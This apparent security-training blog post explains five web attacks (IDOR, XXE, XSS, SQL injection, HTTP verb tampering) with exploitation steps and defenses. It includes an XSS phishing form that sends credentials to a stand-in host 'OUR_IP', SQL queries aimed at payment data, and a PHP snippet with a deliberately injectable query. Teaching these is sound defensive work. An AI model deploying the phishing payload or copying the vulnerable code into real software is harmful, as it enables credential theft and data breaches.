5 common web attacks: How to exploit and defend against them

1. Insecure Direct Object References (IDOR)

IDOR vulnerabilities occur when a web application exposes a direct reference to an object, like a file or a database resource, which the end-user can directly control to obtain access to other similar objects. If the access control system allows any user to access any resource, then the system is considered vulnerable.

For example, when a user accesses their profile, the application might generate a URL like this:

https://example.org/users/123

If an attacker changes this number to 124 and gains access to another user's information, the application is vulnerable to IDOR.

Building a strong access control system is very challenging, which is why IDOR vulnerabilities are so common. In addition, automating the process of identifying weaknesses in access control systems is also quite difficult, which may lead to these vulnerabilities going unidentified until they reach production.

The cause and exploitation of Insecure Direct Object References (IDOR)

Exposing a direct reference to an internal object or resource is not a vulnerability in itself. However, when paired with a weak access control system, the vulnerability can be exploited.

Many web applications restrict users from accessing resources by preventing them from accessing the pages, functions, and APIs that can retrieve these resources. 

However, what would happen if a user somehow got access to these pages (e.g., through a shared/guessed link)? 

Some developers don’t build the access control system properly, which is why a lot of applications are left unprotected on the back-end. For these applications, all users may have arbitrary access to all other users’ data through the back-end.

💡Recommended read: Secure coding practices: A busy dev's guide to bulletproof app security

How to defend against: Insecure Direct Object References (IDOR)

Secure access control must be implemented to prevent IDOR vulnerabilities: 

• Implement Object-Level access control mechanisms.

• Avoid exposing identifiers in URLs and POST bodies if possible.

• Verify the user's permission every time an access attempt is made.

• Replace enumerable numeric identifiers with more complex, random identifiers.

2. XML External Entity (XXE) Injection

XML External Entity (XXE) Injection occurs when XML data is taken from a user-controlled input without properly sanitizing or safely parsing it, and processed through an outdated XML library, which could allow an attacker to interfere with an application's processing of XML data and inject more data.

XXE vulnerabilities can cause significant damage to a web application and its back-end server, from disclosing sensitive files to shutting the back-end server down, which is why it is considered one of the Top 10 Web Security Risks by OWASP.

How to exploit: XML External Entity (XXE) Injection

There are three main ways to exploit XXE:

1. Local file disclosure.

2. Advanced file disclosure. 

3. Blind data exfiltration. 

We’ll demonstrate the simplest method: Local file disclosure. For the more complicated exploitation methods, check out our Academy module on Web Attacks. 

When a web application trusts unfiltered XML data from user input, we may be able to reference an external XML Document Type Definition (DTD) document and define new custom XML entities. 

Suppose we can define new entities and display them on the web page. In that case, we should also be able to define external entities and make them reference a local file, which, when displayed, should show us the contents of that file on the back-end server.

See an example of how to exploit below:

1. Find a web page that accepts XML user input.

   

2. Fill out the “contact form” and click “Send Data”, then intercept the HTTP request with Burp Suite. We can see whether the form sends our data in an XML format to the web server, making this a potential XXE testing target.

3. Modify the payload to reveal sensitive information in response to the inputs.

   

How to defend against: XML External Entity (XXE) Injection

XXE vulnerabilities mainly occur when an unsafe XML input references an external entity, which is eventually exploited to read sensitive files and perform other actions. However, fixing this is relatively straightforward: 

• Avoid using outdated components: Using the latest XML libraries and web development components can greatly help reduce various web vulnerabilities.

• Use safe XML configurations: Such configurations should be another layer of protection if we miss updating some XML libraries and should also prevent XXE exploitation. These include:

•       Disable referencing custom DTDs.

•       Disable referencing External XML Entities.

•       Disable Parameter Entity processing.

•       Disable support for XInclude.

•       Prevent Entity Reference Loops.

• Use Web Application Firewalls (WAFs): The WAF can act as another layer of protection against XXE exploitation.

3. Cross-Site Scripting (XSS)

💡Learn more with our Cross-Site Scripting (XSS) Academy module.

XSS occurs when a vulnerable web application does not properly sanitize user input, and allows an attacker to deliver malicious client-side scripts to the victim's browser, which it automatically executes. 

There are three main types of XSS vulnerabilities:

 

How to exploit: Cross-site scripting (XSS)

To determine whether an application is vulnerable, try injecting a JavaScript or similar piece of code into a URL parameter or form field. If the server attempts to run that script as code, it may be vulnerable to XSS attacks. 

There are two common ways to exploit XSS vulnerabilities: 

1. Phishing

2. Session Hijacking

During a phishing attack, an attacker uses legitimate-looking information to trick the victims into sending their sensitive information to the attacker. 

A common form of XSS phishing attacks is through injecting fake login forms that send the login details to an attacker-controlled server, where they can capture and use the credentials to log in on behalf of the victim and gain control over their account and sensitive information.

We can easily find an HTML code for a basic login form, or we can write our own login form. We can then inject this JavaScript code using our XSS payload.

The following example should present a login form:

<h3>Please login to continue</h3>

<form action=http://OUR_IP>

    <input type="username" name="username" placeholder="Username">

    <input type="password" name="password" placeholder="Password">

    <input type="submit" name="submit" value="Login">

</form>

Session hijacking works by injecting an XSS script crafted to capture a user’s cookies, and using the captured cookie to gain logged-in access as the victim user without knowing their credentials.

How to defend against: Cross-site scripting (XSS)

The front end of the web application is where most (but not all) of the user input is taken from, making it essential to sanitize and validate the user input on the front end using JavaScript.

• Input validation: ensure that web applications don’t allow users to input data into forms using invalid formats or credentials. For example, if a field contains a date, it should have a defined format, such as MM-DD-YYYY.

• Input sanitization: don’t allow any input with JavaScript code in it, by escaping any special characters. For example, the code should escape single quote ( ‘ ) character used in scripts and code. 

• Direct input: never accept user input directly within certain HTML tags, such as:

•       JavaScript code <script></script>

•       CSS Style Code <style></style>

•       Tag/Attribute Fields <div name='INPUT'></div>

•       HTML Comments <!-- -->

4. SQL Injection 

💡Learn SQL Injection Fundamentals and Advanced SQL Injections on HTB Academy. 

An SQL injection attack occurs when user input is processed into the SQL query string without properly sanitizing or filtering the input. This enables attackers to compromise a server's cookies, web forms, or HTTP posts to manipulate data from the database.

How to exploit: SQL injection

Let’s take a look at how an attacker might retrieve hidden data. Strings are the parts of code in a SQL application (or any application) that contain data a user may have inputted. 

Think of something like NAME = “Kim Crawley” or PAST_THREE_YEARS= “2019, 2020, 2021”. 

The data within the quotes is a string. Imagine how many strings of credit card numbers an online retailer site’s SQL database could have! 

Here’s how strings may be returned to an attacker in an SQL injection attack:

SUBSTRING('creditcardnumbers', 5, 3)

Looking for just a few credit card numbers in certain string positions would be very tedious. Instead, an attacker may want all the credit card numbers and other sensitive identification data. 

Here’s how they may retrieve all of the columns in a table of their targeted database:

SELECT * FROM retail_financial_data.tables

SELECT * FROM retail_financial_data.columns WHERE table_name = 'CUSTOMER-PAYMENT-INFO' 

There are plenty of different SQL injection methods: 

• Retrieving hidden data: modify a SQL query to return additional results.

• Subverting application logic: change a query to interfere with the application's logic.

• UNION attacks: retrieve data from different database tables.

• Blind SQL injection: results of a query you control are not returned in the application's responses.

How to defend against: SQL injection

SQL injections are some of the most common web attacks, and can reveal incredibly sensitive user information, so every effort should be made to mitigate the risk:

• Never blindly trust user input: ensure that your web server rigorously sanitizes and filters all incoming data.

• Control SQL execution: restrict the functions that the application can execute through SQL commands to minimize vulnerabilities.

• Implement a WAF: shield your organization from potential SQL injection attacks.

5. HTTP verb tampering

The HTTP protocol works by accepting various HTTP methods as “verbs” at the beginning of an HTTP request. These “verbs” tell the server how to respond to the request. An HTTP verb tampering attack exploits web servers that accept more HTTP verbs and methods than needed to operate the web application. 

This can be exploited by sending malicious requests using unexpected methods, which may lead to bypassing the web application's authorization mechanism or even bypassing its security controls against other web attacks. 

To understand HTTP verb tampering, we must first understand the different verbs that can be accepted as HTTP methods by web servers:

If a web server only accepts GET and POST requests, then sending a different request will cause a web server error page to be displayed. This is the expected operation.

However, if a web server accepts all verbs, some of the above methods can perform very sensitive functionalities, like writing (PUT) or deleting (DELETE) files to the webroot directory on the back-end server.

The cause of HTTP verb tampering vulnerabilities 

What makes HTTP verb tampering attacks common (and more critical), is that they are caused by a misconfiguration in either the back-end web server or the web application, either of which can cause the vulnerability.

Insecure configurations

A web server's authentication configuration may be limited to some specific HTTP methods, which would leave other HTTP methods accessible without authentication. 

For example, a system admin may use the following configuration to require authentication on a particular web page:

<Limit GET POST>

    Require valid-user

</Limit>

As we see here, even though the configuration specifies both GET and POST requests for the authentication method, an attacker may still use a different HTTP method (like HEAD) to bypass this authentication mechanism altogether.

Insecure coding 

This can occur when a web developer applies specific filters to mitigate particular vulnerabilities while not covering all HTTP methods with that filter. 

For example, if a web page was found to be vulnerable to a SQL injection vulnerability (which we’ll cover in detail later), and the back-end developer mitigated the SQL injection vulnerability by the following applying input sanitization filters:

$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {

    $query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";

    ...SNIP...

}

In this code, the sanitization filter is only being tested on the GET parameter. If the GET requests do not contain any bad characters, then the malicious query would be executed. 

How to exploit: HTTP verb tampering

1.Identify the HTTP request method used by the web application for a “Reset” functionality. We can intercept the request in Burp Suite and examine it:

2. We need to determine whether the server accepts HEAD requests, by sending an OPTIONS request and see what HTTP methods are accepted.

3. Now, try to intercept the reset request again, and this time use a HEAD request to see how the web server handles it:

4. Review the response. Because we changed the GET to HEAD and forwarded the request, we will see that we no longer get a login prompt or a 401 Unauthorized page and get an empty output instead, as expected with a HEAD request. Going back to our web application, we will see that all files have indeed been deleted, meaning that we successfully triggered the Reset functionality without having admin access or any credentials.

How to defend against: HTTP verb tampering

This vulnerability usually happens when we limit a page's authorization to a particular set of HTTP verbs or methods, which leaves the other remaining methods unprotected.

We should always avoid restricting authorization to a particular HTTP method. Most applications require only GET and POST. If you allow other verbs, do so carefully.

To avoid similar attacks, we should generally consider disabling or denying all HEAD requests unless specifically required by the web application.

How to fix insecure coding

To avoid HTTP verb tampering vulnerabilities in our code, we must use HTTP methods consistently, and ensure that the same method is always used for any specific functionality across the web application. 

We also recommend expanding the scope of testing in security filters by testing all request parameters. This can be done with the following functions and variables:

Don’t wait for web attacks to occur

The best form of offense and defense in cybersecurity is to be proactive. Prepare both your red and blue teams to discover these vulnerabilities and strengthen the web application’s security posture to reduce the risk of attackers getting through to your systems. 

The following Hack The Box Academy modules can help your teams defend against web attacks: 

• Web Attacks

• Cross-Site Scripting (XSS)

• Advanced XSS and CSRF Exploitation

• SQL Injection Fundamentals

• Advanced SQL Injections

• Blind SQL Injection

• Introduction to NoSQL Injection

• SQLMap Essentials